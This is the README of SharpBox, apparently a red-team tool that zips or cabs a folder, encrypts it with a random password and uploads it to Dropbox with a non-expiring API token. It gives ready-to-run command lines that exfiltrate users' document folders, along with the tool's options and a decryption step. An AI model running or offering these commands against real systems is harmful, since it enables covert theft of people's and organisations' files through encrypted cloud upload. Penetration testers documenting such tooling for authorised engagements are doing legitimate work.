SharpBox

SharpBox is a C# tool for compressing, encrypting, and exfiltrating data to Dropbox using the Dropbox API.

Compiling

Target Framework: NET3.5

The libraries added via NuGet for this project were:

• CommandLineParser.1.9.71

• Costura.Fody.1.6.2

• DotNetZip.1.11.0

• Fody.2.1.2

• MSFTCompressionCab.1.0.0

Usage

Log into your Dropbox account and head over to the Dropbox developer API explorer page and get an oauth access token by clicking "Get Token". These access tokens do not expire, but you can revoke them. So I would recommend revoking tokens after being used on engagments.

Example:

SharpBox.exe -f "C:\Users\LegendaryJasonJF\Documents\management-docs" -t "DROPBOX-OATH-ACCESS-TOKEN-HERE"

SharpBox.exe -f "C:\Users\Meatball\Documents\rip-docs" -t "DROPBOX-OATH-ACCESS-TOKEN-HERE" -c "Cab"

SharpBox can Cab or Zip a folder of items. Zip is the default compression method. Cabbing tends to compress into smaller files than zip, but has a maximum limit of 2GB. The compressed file is then encrypted with a randomly generated password and uploaded to Dropbox. The password is output to the console. Copy the password and use with the "password" argument when decrypting.

SharpBox 1.0.0
Copyright c  2018 Pickles
Usage: SharpBox <options>

      -f, --path                   Required. path to the folder you wish to
                                   compress the contents of

      -o, --OutFile                Name of the compressed file

      -t, --dbxToken               Dropbox Access Token

      -h, --dbxPath                (Default: /test/data) path to dbx folder

      -c, --compression            (Default: Zip) this option lets you choose to
                                   zip or cab the folder

      -d, --decrypt                (Default: False) Choose this to decrypt a zip or
                                   cabbed file previously encrypted by this tool.
                                   Requires original password argument.

      -p, --decryption-password    Password to decrypt a zipped or cabbed file.

      --help                       Display this help screen.

Once the compressed/encrypted file is downloaded from Dropbox, you can use this tool to decrypt it as well.

Example:

SharpBox.exe -f "C:\Users\evilDude\Desktop\data" -o "decrypted-data.zip" -p "RandomlyGeneratedPassword" -d

Acknowledgements

• @CptJesus for letting me borrow the password gen snippet from SharpHound.